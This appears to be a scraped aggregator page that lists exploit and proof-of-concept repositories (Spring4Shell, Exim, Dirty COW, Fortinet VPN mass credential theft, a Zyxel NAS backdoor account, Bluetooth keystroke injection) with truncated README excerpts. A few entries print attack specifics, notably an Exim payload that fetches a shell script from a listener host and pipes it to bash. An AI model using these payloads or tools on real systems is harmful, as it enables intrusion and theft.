spring-core-rce

spring-core-rce spring core rce 简单利用 war可以使用 https://github.com/fengguangbin/spring-rce-war docker环境可以使用 https://github.com/lunasec-io/Spring4Shell-POC 也可以使用vulfocus的在线环境 http://vulfocus.io/ 或者vulhub的靶场 https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC para explotación de la vulnerabilidad CVE-2019-10149 Ejemplo de uso python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2021-22555-PipeVersion

CVE-2021-22555 versión de pipe Usando pipe-primitive para explotar CVE-2021-22555, por lo que no se necesita fuga de kaslr ni bypass de smap smep ktpi : P: ¿Qué es pipe-primitive? R: https://github.com/veritas501/pipe-primitive Probado tanto en Linux 4.15 como en Linux 5.8...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Python exploit for the CVE-2021-22204 vulnerability in Exiftool. About the vulnerability The CVE-2021-22204 was discovered and reported by William Bowling. @wcbowling This exploit was made by studying the exiftool patch after the CVE was already reported. Pre-requisites...

CVE-2020-5902

CVE-2020-5902 POC...

external_expat_AOSP10_r33_CVE-2022-23852

Expat, versión 2.2.6 Esto es Expat, una biblioteca en C para el análisis de XML, iniciada por James Clark en 1997. Expat es un analizador de XML orientado a flujo. Esto significa que usted registra manejadores con el analizador antes de comenzar el análisis. Estos manejadores se invocan cuando el...

opgp-service-cve-2019-9153

CVE-2019-9153 vulnerabilidad reproducir PoC basado en la configuración de BSI investigar la vulnerabilidad de la API de opgp-service ante dicho ataque ejecutar pruebas con: root@kitploit: npm test conclusión: opgp-service está configurado por defecto con AEADprotect=true lo que protege contra el...

Minio-Security-Vulnerability-Checker

Minio 安全漏洞检查器 描述 该程序是一个用于检查Minio系统与CVE-2022-35919漏洞相关安全性的工具。旨在帮助用户检测其Minio配置中的潜在漏洞。 使用方法 1. 确保您的系统已安装Python（3.x版本）。 2. 从本仓库下载脚本miniosecuritychecker.py。 3. 打开终端或命令提示符，使用以下命令运行脚本： root@kitploit: python miniosecuritychecker.py -u -a -s 将、和替换为相应的信息。 4. 等待脚本完成处理。结果将显示在终端中。 用途 该工具可用于：...

CVE-2017-16744-and-CVE-2017-16748-Tridium-Niagara

PoC para CVE-2017-16744 y CVE-2017-16748 Prueba de concepto PoC CVE: 2017-16744 y 2017-16748 Fecha: 09/09/2019 Autor del exploit: GainSec - Jon Gaines Página web del proveedor: https://www.tridium.com/ Versión: Afecta a Tridium Niagara AX Versiones: 3.8 y anteriores, así como Niagara 4 Versiones:...

CVE-2021-26690

Este repositorio no tiene un README...

dirtycow-lab

dirtycow-lab 利用 Dirty COW CVE-2016-5195 漏洞，适用于 Ubuntu 16.04.1。 cat README.md :/。 4. 执行与提权 ：chmod +x /dirty && /dirty → su root（密码为 dirtyCowFun）。 5. Flag ：cat /root/flag.txt → 4GEEKSY0uG0tR00t。 ✅ 结果 root@kitploit: root@ubuntu:/home/student whoami root root@ubuntu:/home/student id uid=0root gid=0ro...

StrandHogg2

StrandHogg2 Poc para StrandHogg2 CVE-2020-0096 Información de la vulnerabilidad original Descripción actual En startActivities de ActivityStartController.java, existe una posible escalada de privilegios debido a un diputado confundido. Esto podría conllevar una escalada local de privilegios sin...

credssp

credssp 这是一个用于利用CVE-2018-0886的概念验证代码。仅用于教育目的。 它依赖于rdpy项目的一个分支https://github.com/preempt/rdpy，同时也支持credssp中继。 由Eyal Karni编写，Preempt公司 [email protected] 构建 说明 Linux 如果您使用的是Ubuntu 14，请检查安装文件。 已在Ubuntu 16.04上测试。 root@kitploit: $ git clone https://github.com/preempt/rdpy.git rdpy $ git clone...

CVE-2016-6798

Este repositorio no tiene un README...

Multi-threaded-mass-exploiter-CVE-2018-13379-POC

CVE-2018-13379 — Explotación Masiva para Fortinet FortiOS SSL VPN Una herramienta para la explotación masiva de la vulnerabilidad CVE-2018-13379 path traversal en Fortinet FortiOS SSL VPN. Permite leer archivos de sesión y extraer inicios de sesión y contraseñas en texto claro. Características...

CVE-2024-29972

TG Join Us https://t.me/WanLiChangChengWanLiChang 加入我们定时查收各类漏洞 EXP POC CVE-2024-29972-EXP CVE-2024-29972 Zyxel Nas Backdoor Account 后门账户未授权开启 FOFA app="ZyXEL-NAS326" 注意事项 该EXP利用脚本 系CVE-2024-29972与29973的结合利用 你也可以称为组合拳 后门账户 NsaRescueAngel 拥有Root 权限...

-BuL

DEDSECBKIF DEDSECBKIF 是一款针对 Android、Linux 和 iOS 的按键注入工具。借助 CVE-2023-45866，它赋予用户对目标系统前所未有的控制能力，实现从按键注入到高级系统操作等多种功能。 描述 DEDSECBKIF 是一款强大的蓝牙漏洞利用工具，利用 CVE-2023-45866...

CVE-2026-3888

Este repositorio no tiene un README...

EITS-Portal-Exploit-CVE-2026-31367-PoC

💥 CVE-2026-31367: EITS Admin Dashboard v2.4.0 - PoC de RCE Este repositorio contiene el Proof of Concept PoC para la vulnerabilidad de Ejecución Remota de Código RCE no autenticada en EITS Admin Dashboard v2.4.0 CVE-2026-31367. La vulnerabilidad se debe a una falla en la sanitización de entradas ...

LFI-to-RCE-SE-Suite-2.0

Ejecución Remota de Código en SoftExpert Excellence Suite 2.0 - CVE-2023-30330 Inclusión Local de Archivos Autenticada que deriva en Ejecución Remota de Código en SoftExpert Excellence Suite EQM. CVE-2023-30330 Versiones de SE Suite 2.x anteriores a la 2.1.3 Probado en versiones: 2.0.15.31 y...